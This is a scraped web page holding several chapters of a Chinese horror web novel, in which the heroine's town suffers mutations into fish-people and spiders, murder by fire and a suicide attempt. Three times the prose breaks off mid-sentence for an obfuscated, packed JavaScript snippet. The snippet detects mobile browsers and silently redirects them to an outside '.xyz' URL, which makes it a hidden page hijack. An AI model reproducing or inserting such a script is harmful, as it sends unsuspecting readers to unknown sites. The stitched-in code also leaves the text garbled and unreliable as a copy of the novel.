男子连滚带爬地冲进房间,右一浑身湿淋淋,地上连了一长条汽油的痕迹,一直拖到他光着的脚边。 最后一分钟。 镇长看向钟表。 “奈绪小姐,真是对不起了。” 镇长唇角微勾,将手中还燃烧的打火机朝着右一扔去! 这一下又快又准,即便碰不到右一,也能碰到地上那明显的一滩汽油。 引火上身,四人皆焚! 想象中的场面却没有出现。 燃烧着的打火机碰到右一的身体,火焰没有立刻蔓延,而是被弹开丢到了地上。 打火机滑动到奈绪的脚边,奈绪将它捡起,嘴角勾起笑容:“还剩二十秒啊,镇长先生。” 镇长的笑容冻结在唇边,后退一步:“怎、怎么回事?你干了什么?” 奈绪不语,雄一从身后拿出一个盛满液体的塑料盆,端到门旁瞬间倾倒,奈绪把玩着手中的打火机,嘴里一下一下轻声倒数着: “五秒,四秒,三秒……” “一秒。” “镇长先生,其实你不配被称为镇长,真正的镇长早就死去了。” “这个结局可是你选的。” 打火机呈一个抛物线,精准落到那堆不断往房间内流动的液体中,瞬间,火焰大起,燎过窗帘,整个房间都燃烧起来。 奈绪从外面关上了房门,房门灼热,里面的人呼号惨叫。 龙太郎后背起了一层鸡皮疙瘩,有些害怕地看向奈绪:“奈绪……这样会不会不太好?” 奈绪:“他们帮着镇长火烧医院时,有想过这个问题吗?” 房间里,哭嚎声如潮水般沸腾,有人用身躯重重撞着窗户,但二楼的窗户早已被封死。 奈绪带着三人从一楼下来,血水已经退了许多,现在水面只到大腿。 奈绪看向二楼的房间,黑烟正顺着窗缝逸出,几个血手印在窗户上,外面是封死的木板。 “他们选的这个房间……”龙太郎嗫喏。 奈绪:“没错。” “这就是珠惠母亲自杀的地方,还是你刚才告诉我的。” 她让雄一用硅油调换了他们的汽油,以防万一镇长狗急跳墙,但本来的目的并不在杀死他们所有人。 怎料,他们选取的房间,正是这个珠惠母亲自杀的房间,也因为这个自杀太过血腥,这间窗户被封死。 他们没有对生人的关心,亦没有对死人的尊重,才选了这样一个房间。 珠惠母亲的死是这些日子以来,镇子里最平凡不过的一个。 “也许冥冥之中,珠惠的母亲也希望能杀死这帮恶人吧。”雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977572|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抬头看着漆黑无比的天空。 身后的木板被烧断了,火焰卷着浓烟冲上天空,奈绪忽然站定身子,看着燃烧的二楼。 奈绪:“听说镇长也是长子。” “既然他愿意牺牲别人的生命,那不如先牺牲他的好了,正好我们也看一看有没有奇迹发生。” 雄一扬起浓眉:他倒从没想过这一层。 雄一:“到底是神的救赎还是神的玩笑,想必很快就会揭晓了。” 龙太郎架着中村,右一身子好些,跟在旁边。 雄一和奈绪并肩走在前面。 血水潮即将退去,他们不再需要这些船只了。 奈绪脸色发白,强撑着的情绪终于松弛下来,雄一眼疾手快扶了她一把,奈绪摇摇头,找了根棍子倚着,自己慢慢地走。 她忽然扭过头,问:“把你们骗走的人……是友树吧。” 中村没有说话,沉默已经说明了一切。 都是从小到大的朋友,谁也想不明白,短短几个月内,他怎么就变成现在这样。 龙太郎:“你是怎么看出来的?” 奈绪:“就在刚才想明白的。镇长他们的塑料瓶,和他带回来的一样,虽然镇子上的瓶子都大差不差,但现在的环境内,干净的瓶子并不好找,只有可能是提前储备,而具有大量储备能源并且现在还没用掉的,只有镇长了。况且,我分析了友树的行进路线,虽然镇长的房子并不在路线上,可是十分接近。” 雄一:“所以你从看到镇长的房子时,就开始怀疑他了吗?” 奈绪轻轻点头:“嗯。” 雄一发出两声爽朗的笑:“奈绪,你还真是心软。” 奈绪笑了一下,不置可否。 反倒龙太郎推了推眼镜,不可置信地听着两人的对话,随后迅速将雄一拉到一旁: “为什么这么说?” 雄一:“她把友树和抱着孩子的由子独自安排到一块,就是给他一个自己主动离开的机会。” “如果我们回去,而他还想装作什么事情都没有发生,当一个彻头彻尾的懦夫,那等待他的,就不像离开那样简单了。” 回去后,果然,友树消失了。 据由子所说,友树主动提出要去寻找物资,撇下她出了门。 过了一段时间后,由子试图出门寻找他,只看见前门旁放了几箱水,几箱她好久没喝到的,很干净的矿泉水。 所谓“长子献祭带来奇迹”的传闻并没有应验,骏平的房子连带那十三人都被大火烧了个干净,一如医院的那些人。 唯一值得庆幸的是,血水正在退去,土地虽然被血水浸透,又湿又软,但无论如何,这可是—— 土地啊。 土地包容万物。 镇子恢复了短暂的和平,镇长死亡带来的物资被镇子里的人瓜分,还够他们再撑短暂的一段时间。 可惜奈绪和由子辛苦种出的蔬菜,刚刚成熟便死在血水中。 奈绪靠着精神病院三楼的窗户,面前放了个沾水的磨刀石,她将已经很锋利的尖刀放到上面,用力摩擦着。 长子之灾由人造成,也已经过去,她不再担忧,只是—— 她想起镇长那十三个人竖起的衣领,放下的袖子。 她将刀子抵上那人的脖子时,曾感到了一点微妙的滑腻触感,她在他的后颈处摸到了一些沟壑和凸起,形状像是……鱼鳞。 房间里,奈绪的父母还隐藏在黑暗中,不肯出来见人,奈绪想起他们身上生出的细细绒毛与斑点。 也许镇民的异化开始了。 奈绪用力磨了一下刀,呲喇一下,大拇指被尖刀划出一道血痕,她将拇指放进嘴里,血腥味慢慢散开。 不知道我会变成什么怪物。奈绪想。 23. 终声 太阳热滚滚地搅散了灼热的光线,千鱼镇的空气好似成了一锅刚出炉的浓汤,吸一口空气,从嗓子到肺腑都是烧灼的。 此时,整个镇子只有一个地方是稍微凉快的,就是海边。 海风依旧是灼热的,但脚伸到海水中,总能借助温度差减少一些体内的热量。 弥漫在空气中的血腥味仍未完全退去,海面仍有淡淡的血粉色。 但土地在经过多日烈日的暴晒后,血水已经渗入地下,又经过雨水冲刷,已经逐渐恢复正常。 只是依旧寸草不生。 海岸上,浪花拍打着礁石,灼热的海风翻滚着将岩石烤热,海岸蔓延几里,海边搭起了黑色的棚子,棚子上盖着白布,用来反射日光。 从远处看,数十个棚子沿着海岸绵延,黑与白相衬,倒像是在吊唁。 靠近海岸的一个棚子下,一位短发女子从布帘下走出。 女子小腿和手臂晒得黝黑,穿着一双脱了线的凉鞋,一双眼睛又黑又亮,像是要看到人的心里去。 她看着翻涌着浪花的海面,眉心微蹙,低下头将袖子捋到胳膊上,一寸寸摸着自己的皮肤。 还是那样的光滑,平整,黑了不少,能确定的是,她还没有异变。 身后帐子内,有人轻声喊起她的名字,声音很小,气若游丝。 “奈绪……” 奈绪哦了一声,赶紧掀开帘子进去,棚子内放的东西极为简单,几张桌椅,杂物,水桶,两张木床,床上堆了两个薄毯子。 其中一个毯子内,窝着一个人,那人用毯子捂住脸,只留一束黑亮的头发从床侧倾泻而下。 奈绪摸着一缕柔顺的头发,手指微挑,将毯子掀开一角,声音轻柔道:“由子。” 由子将毯子扯下,下意识眯起眼睛,她的瞳仁缩小,眼白增加,脖子上和靠近脸颊的位置都生出了细密的银白色鳞片,硬如刀片。 由子声音虚弱,看着奈绪日渐消瘦的脸有些心疼。 “奈绪,你说的那个钟,还会回来吗?” 自从步美用头敲响大钟后,钟与船都被海虫运进了海中,再也没有回来。 据镇子历史记录记载,从前的镇子出了这些事,正是依靠敲响大钟而化解。 但距离上一次灾难已经过了五十年,从那以后,那口钟,被镇民数次废弃,直到一道闪电劈上了它,最后被放到海岸,而后被虫子运走。 如果敲响大钟就能结束镇子的灾难,那步美敲响的那一次,按理来说应当终结了灾难,然而并没有。 那是不是意味着,镇子这次的灾难量级和从前不同,只有经过真正的十灾,再敲响大钟,灾难才会真正停止? 奈绪甚至有些期待第十灾的来临,等到永恒的黑夜降临,也许那艘破船会载着那口钟出现,她会敲响它,会赶在变异前终止这一切。 从一周前,由子的腿部出现了细纹,而后细纹凸起,分层,变成了银白色的薄鱼鳞。 而后,中村,右一,都出现了不同程度的异变。 中村的手臂出现细纹,右一更严重些,不仅脖子上,手臂上出现了鱼鳞,手掌也出现了成蹼的趋势。 他们现在住在海边,依靠着并不规律的涨潮落潮获取微薄的食物。 时节已经初秋了,天气依然如此炎热,与上年微凉的秋意无法相比。 现在的时间流动与往昔不同,太阳月亮出现的时间不定,涨潮落潮也无法预知,奈绪靠一个捡来的钟表看时间,每过去一天就在一个皮革上划一道,直到整个皮革都被划得破烂不堪。 “已经过去一年了啊。”奈绪感慨,将皮革展开,让躺在床上的由子瞧了瞧。 由子在床上直起身子时,摸到了胳膊上的鱼鳞,海面咸湿的海风透过掀开的帘子吹拂着她的脸颊,她虚弱的脸慢慢沉静下来。 “奈绪,”由子开口,“如果我将来不认识我自己了,请你救我。” 奈绪:“怎么救?” 由子:“杀了我。” 奈绪沉默片刻,转头向外:“快起来吧,我们还要去看爸爸妈妈。” “奈绪,你答应我!”由子扶着床翻下,站在床边。 奈绪:“你知道我不可能会答应的,你是我姐姐。而且,我说不定也很快就异变了。” 由子冷声:“奈绪,我这一周一直在睡觉,你知道是为什么吗?” “我对我身体的控制权在逐渐丧失。” “我的身体,不像是我的身体了……” 由子:“奈绪,如果我的灵魂被困在这样一副异变的身体内,那和永世不得超生有什么区别?奈绪,如果真有那一天,我希望你帮我。” 奈绪:“别想这么多了。”她掀开帘子,“我们快走吧。” 带上一包食物,她们穿过密密麻麻的棚子,里面有许多瘦骨嶙峋的人,被日光晒得黝黑,有一个人刚刚死去,嘴角泛着白沫,两眼上翻凸起。 曾经,鱼人吃掉了许多尸体,剩下的骨头被他们丢到南山,用火焚烧干净,现在沙滩上的尸体并不多。 他们怕鱼人上岸,但更怕饿死,现在的千鱼镇里,只有这个地方能获得外界的食物,饿死比被杀死的滋味更难受。 路过一个棚子时,一个老人推着轮椅出来和她们打招呼,正是那日奈绪和由子救下的刚志。 她们从废品站里找出了这一辆破轮椅,托雄一上油检修后,将它送给了他,现在他靠这把轮椅,已经能在海滩上正常生活。 刚志花白的眉毛舒展,脸上表情放松,和奈绪打过招呼后,就推着轮子进了棚子。 奈绪与由子二人沿着干涸的街道,重新走回了那间病院。 推开生锈的大门,奈绪拎着食物,在漆黑的楼梯内慢慢往上爬。 又站在那扇熟悉的门前,她上一次听到父母的声音,已经是三天前了。 她正要敲门的手指顿了顿,落在铁门上:“爸,妈,我们来看你们了。” 没人回应。 和先前中村右一待的房间不同,父母所住的房间只是普通的看守间,并没有双层锁的设置。钥匙在父母手中,她们谁也打不开房门。 奈绪心里泛起一丝莫名的惊慌,又接连喊了几声,依旧没人应答。 她绕到旁边的一间房中,打开窗户,由子已经拿来了绳子缠在奈绪腰上,另一边绑在栏杆上。 奈绪灵巧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977573|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子纵身一跳,攀上隔壁的围栏。 她身形一滞,竟在空中停了一下,随后重重撞到墙壁上,由子急声大喊:“小心!你看到什么了?” 奈绪声音又闷又沉:“姐姐,窗户被从内砸开了。” 由子:“他们想走,为什么不能从正门?” 奈绪:“也许不是不想走,而是以他们的状态,开门不如踹窗户方便。” 他们已经完全异化了。 奈绪揪着绳子,扶着肿起来的额头,从窗户翻进隔壁,顺便将绳子从腰间解下,方便隔壁的由子进入。 她在隔壁翻找起来,试图找出父母离去的踪迹,除了一床破旧的床单,一地的食物残渣,什么都没有。 由子也翻了进来,几次寻找后依旧一无所获。 “他们走了……”由子嘴唇嗫喏,“他们会不会变成其他人那——” “别说了。”奈绪打断她。 镇子中,这些父母最后都变成了蜘蛛。 细绒毛,黄黑色的斑点,蜘蛛的特征一个一个吞噬作为人的理智,直到他们真正丧失意识,真正变为一只嗜血的蜘蛛。 她们曾看到过一只极大的蜘蛛,在废弃的高楼上迅速攀爬而过,肥胖的肚子满育着蛛丝,蜘蛛上的那张脸被一层薄蛛丝包裹,但她们还是迅速认出了那张脸。 那是医院里一名护士的脸,那时候奈绪吃零食吃坏了肚子,由子陪着她到医院,就是这个护士给她吊的滴瓶。 女人头发凌乱,意识全失,一双眼睛被眼白占据,身体两侧伸出了黑色的触手,在高墙上攀爬如履平地。 这些蜘蛛不知道去了哪里,刚看到它们时,镇民都受了不小的精神冲击,但意识到这些蜘蛛不会害人后,他们就慢慢放下心来。 说起来,父母是最后一批异化的蜘蛛了。 镇子上的人对人异化为蜘蛛的情况,接受程度异乎寻常,近乎诡异。 奈绪想:那可是人啊。 奈绪翻开父母的储物柜翻找,父母从家里带来的东西全部放在这里,药品,针线,衣服,甚至还有一本圣经。 奈绪将圣经翻开,一张纸轻飘飘落下,她好奇捡起。 是一堆意味不明的符号,字母和数字,但似乎有规律可循。 奈绪将纸张塞进口袋,接着打开了房门。 “走吧。” 两人沿着过来的道路往海边走去,在山坡上却远远地看见一群小黑点,往镇上跑来。 其中就有刚志,他被雄一推着,轮子转得如同飞起,腾起一段烟尘。 中村,龙太郎和右一跟在后面死命奔跑,还有一大帮惊慌失措的镇民。 奈绪和由子急忙停下脚步,掉头往镇子跑去。 等到雄一几人都赶到镇子,气息平息之后,奈绪问:“发生什么了?” “鱼!鱼!”雄一喘着粗气,“鱼人上岸了!” 他们都躲进附近的房子,将房门反锁,透过窗户看着那群鱼人。 第一个鱼人的身影出现在街角,身形扭曲,脚步蹒跚,獠牙上有涎液滴落,在它身后,紧跟着一群刚上岸的鱼人。 它们的死鱼眼微微转动,向二楼的窗户扫来。 24. 终声 鱼腥味弥漫了城镇。 奈绪半蹲在窗边,鱼人可怖的面颊瓮动,脖子上的鱼鳃开开合合,正吞吐着千鱼镇的空气。 它僵硬的身子缓慢移动,顺着鱼潮离开,生满鱼鳞的脚踩过干涸的街道,留下一串泥泞的脚印,粘液顺着它的脚滴落。 奈绪捂住口鼻,抵挡着无处不在的鱼腥味,视线一瞟,忽然听见对面店铺传来几声响动。 一个人,准确来说不像是一个人,他穿着背心短裤,脚面已经完全被鳞片覆盖,嘴唇变硬凸起,一双死鱼眼鼓出了眼眶,几乎要掉下来。 这个人晃晃悠悠推开对面店铺的玻璃门,加入了汹涌的鱼潮。 他意识已经涣散,浑然不知自己在做什么,他身旁站着一个男子,男子见他异样,手试图拽住他的胳膊,却反被他扯入了鱼潮,瞬间成了众鱼的晚餐。 身边传来由子轻柔的呼吸,奈绪瞬间将窗帘拉上,扭头看向由子,脸上堆起笑容:“你凑过来干什么?” 由子神色淡淡:“雄一说它们回海滩了,估计再过一会,镇子上的鱼人都回去了。” “哦。”奈绪下意识瞄了一眼窗帘,“那……咱们一会就能回去了。” “嗯。”由子回答,脸上出现笑容。 奈绪松了口气,庆幸由子没看见刚才那一幕,说道:“那我去收拾东西了,再找点能用的东西带回去。” 奈绪清了清嗓子,手掀开窗帘,确认鱼人消失后,将窗帘重新拉开。 奈绪:“我先下去了,你也赶紧过来。” “嗯,我马上。”由子看着奈绪离去的背影,放慢了自己的收拾速度。 她来到窗前,居高临下地俯视着地上的那滩血渍,眉心逐渐蹙起。 奈绪下楼,推开门走到街道,下意识捂住鼻子,刺鼻的鱼腥味让她几欲干呕。 鱼人给干涸的土地带来了诡异的粘液,让土地变得泥泞。 奈绪深一脚浅一脚踩在泥中,脚每一次从泥中拔出,都会带出泥土与啵的一声,还有嘶嘶的声音。 不对。 这嘶嘶的声音,并非来自她陷在泥中的脚面。 有阴影罩住了她,嘶嘶声正来自她的头顶。 她缓缓抬头,听见身后由子声嘶力竭的大喊:“蜘蛛!” 视线上移,是一块破旧的铁招牌,招牌上方是一段青石墙壁,墙壁之上,正攀附着一只巨大的蜘蛛。 蜘蛛的肢体细长,绒毛细密,靠一截坚韧的细丝挂着,蜘蛛的中心部位是它的头,头发长而杂乱,头上蒙了一层细细的蛛网,但仍然能看清里面的人脸。 奈绪愣住了。 那是一张熟悉而温柔的脸,她每一次和姐姐去上学时,都是这张脸,笑着从门边探出,俏皮地冲她们摆摆手。 “好好上学,别和朋友吵架!” “奈绪!你快要高考了,上课认真听,将来考去东京的大学!” “你们两姐妹不要总是吵架,记得买点菜回家!” 泪水模糊了奈绪的双眼,她伸出手想去触碰,身后却伸来一双手将她紧紧禁锢,将她扯远。 奈绪抵抗着身后的手臂,她知道那是雄一,也知道雄一是为她好,可她的本能还是让她忍不住一边流泪一边大喊:“妈!妈!” 蜘蛛却像什么都没有听见一样,肢体晃动,很快沿着墙面爬走了。 眨眼间再也看不见踪影。 奈绪挣扎着摆脱,迅速后退几步到墙角,腿脚发软,由子急忙过来扶着她,话里也带着哭腔:“奈绪……妈妈她……” 一张纸在奈绪的激烈挣扎下,从口袋飘出,落到泥泞的地面上,雄一捡起,眼睛下意识瞄了一眼,面色有些不自然。 他将纸递给奈绪,奈绪小心擦干上面的泥巴,却没有直接将它揣进兜里,而是将它平展开来,正对着雄一。 雄一神色异样:“奈绪……你、你这是干什么?” 奈绪:“雄一,你来到镇子已经一年了,我们也做了一年的朋友了。” “你的表情什么样,我会认不出来吗?你认识这张纸,更认识纸上的字。” “不,我不知道。”雄一急忙拒绝。 “你知道。”奈绪明明站在墙角,没有雄一高大,却有一种天然的威势,步步逼近。 雄一在奈绪的眼神威压下,接连退了几步,却被奈绪一下抓住手臂,将他的袖子捋到最上端。 “这种绒毛已经长满了你的手臂,你的斑点也快长出来了。按理来说,变成蜘蛛后会有很长一段时间不想出门,你这几天却天天跟着我们出来,真是辛苦你了。”奈绪说。 “整个镇子的父母都变成了蜘蛛,如果这可以勉强解释为小镇镇民的诅咒,那你一个意外来到千鱼镇的人,一个刚刚成为父亲的人,也变成了蜘蛛,这就难以解释了。” 奈绪声音愈发阴冷:“除非,这是你们计划好的。你估计早就见过我父母了吧,你们都聊了些什么?这张纸上记的又是什么?” 由子拉住奈绪的手臂:“说不定,说不定这只是巧合呢?” 奈绪甩开由子,脸上带着怒气:“你们到底瞒了我什么?” 雄一:“我不知道。” “你必须知道!” “我不知道!” “你还在骗我!” 雄一语气微顿,看着奈绪不达目的不罢休的样子,无奈摇摇头:“我不能告诉你,起码是现在不能告诉你,也许等一个合适的时机,我会把一切都说出来。” 奈绪见雄一执意不肯再说,冷脸带着由子重新返回海边。 海边,一些不够坚固的棚子被上岸的鱼人冲得七零八落,围绕海边建立的密密麻麻的棚子被簇拥的鱼人挤出几条宽敞的道路,鱼腥味密布。 鱼人吃掉了海岸上所有的尸体,奈绪不敢想这些鱼人中,有没有那些异化的人类,他们由人类变成了鱼人,连人的意识都丢失了,灵魂永远困在异变的躯体,求生不得求死不能。 奈绪和由子的棚子没被鱼人撞塌,奈绪将门口鱼人散布的粘液简单清扫后,就坐在桌前,点亮了所剩不多的蜡烛。 她拿出记录村子历史的笔记本,又拿出那张记载了奇怪符号的纸片,试图找出一些共同点。 直到一根短蜡烛快被烧尽,奈绪还是没能找到共同点,无奈的叹息过后,蜡烛熄灭了。 奈绪想将它们收起,手放在两张纸面时,却意外发现,这两样东西的纸面竟是相同的触感。 顾不上浪费,奈绪又捡出一根短蜡点上,在幽暗的烛光下,对着光线仔细辨认着两张纸的纹路。 纹路一致,粗糙程度一致,甚至连毛边都几近相同,奈绪将笔记本打开,用胳膊将两张纸的缝隙分开。 一次又一次。 直到她终于在笔记本两张纸的缝隙中,瞥见一小块未被撕下的断纸。 由子翻了个身,冲她嘟囔着:“奈绪……该睡觉了。” “哦哦,马上。” 奈绪手指颤抖,拿着那张从父母房中捡来的纸,慢慢对上笔记本上的断纸,手指被火焰燎伤也不觉得痛。 对上了,对上了。 奈绪几乎惊叫出声,察觉到后急忙捂住嘴巴。 父母他们做的事,果然和镇子有关,只是到底是什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977574|161409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 身旁,由子已经酣睡,奈绪不好打搅,只能躺在床上,思考着父母的去向。 想着想着,便沉入了梦乡。 梦里,她还是那个只有五岁的小女孩,和姐姐互相打闹着。 在房外无边无际的郁金香田野玩够了,就光着脚跑回家,被父母一顿痛骂,直到电饭煲蒸好米饭,父母的训斥瞬间按了暂停键,父亲严厉的神色收敛:“先吃饭吧。” 那时候,千鱼镇还是一个人间福地,是每个镇民走出后都想回归的安乐乡,而不是现在这个无法逃出的人间炼狱。 她还在等待大钟的到来,等待一艘船的回归,载着他们一同走向新世界。 无论新世界再怎么虚假,无耻,市侩,总不会比现在更差了。 奈绪伸长脖子,站在梦里的山坡上眺望那一片平静的水面。 仁慈的神啊,请让我们离开这里吧。 似乎真有钟声敲响。 奈绪惊喜地睁开眼睛,却看见一把尖刀掉落,血迹顺着雪白的手臂滑落,地面洇湿一片。 奈绪神色木然,看向躺在床上的由子,由子面带微笑,因为失血过多,整张脸像雪一样白。 “由子!”奈绪尖叫,手忙脚乱翻找着柜子,翻出几节绷带,在靠近心脏的位置用力扎紧。 由子的手上遍生着坚硬的鳞片,奈绪的手指被割伤几道,伤痕累累。 血勉强止住了。 奈绪将头贴着由子的头,手按着由子的锁骨上方,直到确认那微弱的呼吸没有消失。 由子的脸像纸一样苍白而脆弱,看着她憔悴的模样,奈绪忍不住低声哽咽起来。 直到听到一声明显的呼吸,奈绪抬起头,看见由子长长的睫毛抬起,眼神脆弱而悲戚。 “奈绪……”由子声音微弱,“我今天看到了。” 奈绪心脏猛得一跳,仿佛跌进无底深渊,“看到什么?” 由子:“我马上就要异变了,我会害了你的。” “不……我不要你走……”奈绪把脸埋在毯子中,声音闷闷的。 由子:“我现在只能死,如果留下来,你们都会危险。” “姐姐,你不能死,我不允许你死。” “那我就只有离开了。” 奈绪从毯子中抬起脑袋,在泪水中看着姐姐的脸:“可不可以不走?” 由子摇摇头,宠溺般摸了摸奈绪的头。 奈绪劝阻不成,眼睁睁看着姐姐开始收拾离开的东西,她几次抢过,姐姐只是在原地看着她,便让她慌了神。 “今天出月亮了。”由子声音幽幽。 她一只手绑着绷带,一只手提着一个小包,包里只放了一天的食物和水。 月光下,她的身影瘦得像竹竿,手臂,小腿都被银白色的鳞片覆盖,脖子上的鳃也初见形状,像一条又干又瘦的小鱼。 “奈绪,我走了啊。”由子说。 奈绪赤脚站在沙滩上,她没有回应由子的话,眼睁睁看着由子越走越远。 她会躲到一个角落,直到意识完全被吞噬,眼睁睁看着身体异变为鱼人,对镇民展开杀戮却无能为力。 真是永恒的折磨。 奈绪忽然抢跑几步,对着由子的背影大喊: “由子,我一定会杀了你!” “我一定会杀了你!” “无论我在哪里,只要我见到你,我一定会杀了你!” 声嘶力竭,喊完这几句话后,奈绪的嗓子已经哑得不成样子。 隔着遥远的海滩,由子把抱着纱布的左手举起,喊道: “多谢了,妹妹!” 25. 终声 海岸边,炙热的阳光遍洒,沙粒被太阳晒得干软。 浪花里,一群上身赤裸的人起伏着,他们在不断拍打的浪花中站稳身子,厚实的胳膊上肌肉虬结,正用力拖拽着一张巨大的铁网。 铁网呈长条形,质量良莠不齐,一群人把它从东头扯到西头,两段固定在坚硬的岩石上。 他们正在加固防鱼人的铁网。 奈绪带着龙太郎几人,刚从镇子上回来。 他们要尽量搜刮镇子上的所有铁制材料,来加固铁网,铁网坚固,能阻拦一部分鱼人的行动。 扛了一堆铁丝回到海岸,奈绪将铁丝放下,让其他人帮忙加固,自己走到棚子前,翻出柜子里的碘伏,用棉签蘸了,开始给自己上药。 铁丝不好弄,她手上划破不少伤口,不过新伤叠旧伤,奈绪也就逐渐习惯了。 “奈绪,那边在发武器,我给你拿了一把。” 龙太郎拎着两把尖锐的铁铲走来,神情严肃。 奈绪瞧着龙太郎的样子,脸上慢慢漾起笑容,龙太郎被奈绪突如其来的笑整得不住所措,尴尬地摸了摸脸。 “怎么了?”龙太郎慌张。 “哎呀老师,”奈绪伸手,径直将龙太郎的眼镜摘下。 奈绪晃着手中的眼镜:“好好的透明眼镜,快脏成墨镜了。” 将眼镜擦干净后,奈绪还给龙太郎,不经意道:“龙太郎老师,说起来,我还真有点好奇,之前在洪水中,你丢失的那个黑书包,里面到底放了些什么?” 龙太郎照例推推眼镜,“就是些小物件,私人物品,不过现在也派不上用场了。” 还是这样的结果,奈绪微微一笑,既然龙太郎几次都不肯说,她也就没必要再逼他了。 她接过龙太郎手中的铁铲,朝空中倏然挥去,一道凌厉的的气息掠过,迅速收住手。 奈绪感慨:“还是用铁铲舒服,比用木棒强多了。” 龙太郎拎着铁铲,往自己的棚中走去,奈绪的视线落在龙太郎背上,他瘦得肩胛骨突出,一把年纪的人了,还被困在千鱼镇苟活着。 自己也和他差不多。 奈绪回到空荡荡的棚屋,独自坐在床边,铁铲顺手靠在柜子上。 这是镇子陷入灾难一年后,奈绪第一次感到孤单。 她翻身躺在床上,连鞋子也没脱,迷迷糊糊地睡着了。 一声尖锐的口哨。 奈绪从梦中惊醒,大汗淋漓地坐起身,天气很热,衣服后背多了一圈湿渍。 翻身下床,拿起铁铲,奈绪掀开帘子冲了出去,与她一同冲出的,还有许许多多的镇民。 那声尖锐的口哨,是监视的人吹响的,为了保证他们的安全,镇子上轮班安排了监视者,负责监视海面的动静,一旦鱼人出水,口哨声就会响起。 果不其然,被月光照得明亮的海洋泛起诡异的浪花,异动从海面深处传来,海面上出现一颗颗崎岖不平的头颅,接着是它们布满细鳞的身体,脚蹼。 獠牙在口腔内以最大限度张开,伴随着舌头的蠕动而上下晃动,脖子上的鳃一鼓一鼓。 鱼人游到海岸边,正想上岸,却被铁网挡住,几只鱼人的鱼鳞被生了倒刺的铁网挂住,血肉淋漓,试图退却,呲喇一声,揪下来一块肉。 镇民看得欣喜,原本要逃跑的人群顿时停滞下来,奈绪离铁网较近,身旁两个胆大的男孩甚至拿着棍子朝铁网小步挪去,被奈绪抓住手臂一把扯回。 奈绪低低骂了一句,眼睁睁看着越来越多的鱼人出现在铁网前,它们都被铁网阻隔着,正用尽力气往岸上冲来,手臂前伸,坚硬的鱼鳞不断划着铁网。 奈绪神色不好,手握铁铲频频后退,凑热闹的人群却还在前挤,奈绪被挤得动弹不得,出去的道路被堵得水泄不通,忍不住大喊: “快跑!别看了!” 人群不为所动,奈绪拼命往小镇的方向挤去:“铁网,铁网要支撑不住了!” 怒喊之下,呆愣的镇民如梦初醒,如潮水般往镇子涌去。 奈绪在拥挤的人群中迷失了方向,身后,鱼群腮部的鼓动声与人的呼吸搅在一起,铁网发出不堪重负的咯吱声。 铁网延缓了鱼人攻破的速度,但坚固程度不同的铁网,也造成了几处生锈损毁的铁网根本无法抵抗庞大鱼群的攻击。 一处缺口出现,被鱼群挤压,再也支撑不住,一处铁网的迸断迅速带动了另一处,紧接着,整条铁网如同河水决堤,接连断裂。 鱼人的步伐几乎不可阻挡,两个跑得慢的中年人怪叫着,被拖入鱼群,迸起一蓬血花。 面前三个人跑着跑着忽然停下脚步,奈绪一个趔趄撞了上去,却没有感受到人类的温暖,而是滑溜溜的鱼人腥气。 三人的头阴恻恻地转过来,头颅有些僵硬,紧接着,身体也极为不协调地调转,嘴巴微微勾起,凸起的嘴巴像是鱼吻,被大范围白色占据的眼睛,中心有一颗小小的黑点,正转动着落在奈绪脸上。 獠牙迅速张开,朝奈绪的头咬去! 腥臭的冷风扑来,奈绪腰身顿挫,避开獠牙,手却被旁边两只鱼人抓住,铁铲脱手,动弹不得。 呲—— 血液四溅。 拉着奈绪的一只鱼手被砍断,龙太郎焦急而憔悴的面容从侧边闪过,眨眼间已又斩断了一条鱼手。 奈绪连忙从地上捡起铁铲,对准鱼人的肚子刺去,然后掉身跟着龙太郎逃跑。 倒地的鱼人被鱼潮淹没,奈绪与龙太郎的身后跟着一群黑压压的鱼人,他们奔跑在最前方。 如今,谁都可能异变为鱼人,为了保证自己的安全,人们不敢与他人共同躲藏,几乎每人挑了一间房子,迅速上锁行云流水。 奈绪和龙太郎沿街拍打着房门,连声大喊着:“我们没有异变!我们没有异变!” 第一只鱼人已经赶到,奈绪一铁铲削掉它半个头,龙太郎还在拍着房门,一直跑到第三条街,都没有人开门。 奈绪牙一咬,心一横,正想冲入鱼群厮杀,一扇小门却忽然打开。 一颗卷毛脑袋探了出来,似乎下定决心一般,那人将他们拉进房中。 铁门关上的瞬间,门上出现了两个明显的撞痕,许久后,门缝下的脚才离开。 奈绪与龙太郎胸膛剧烈起伏,肺部有血气上涌,重重咳了几声,才勉强站直身子。 “老师……” 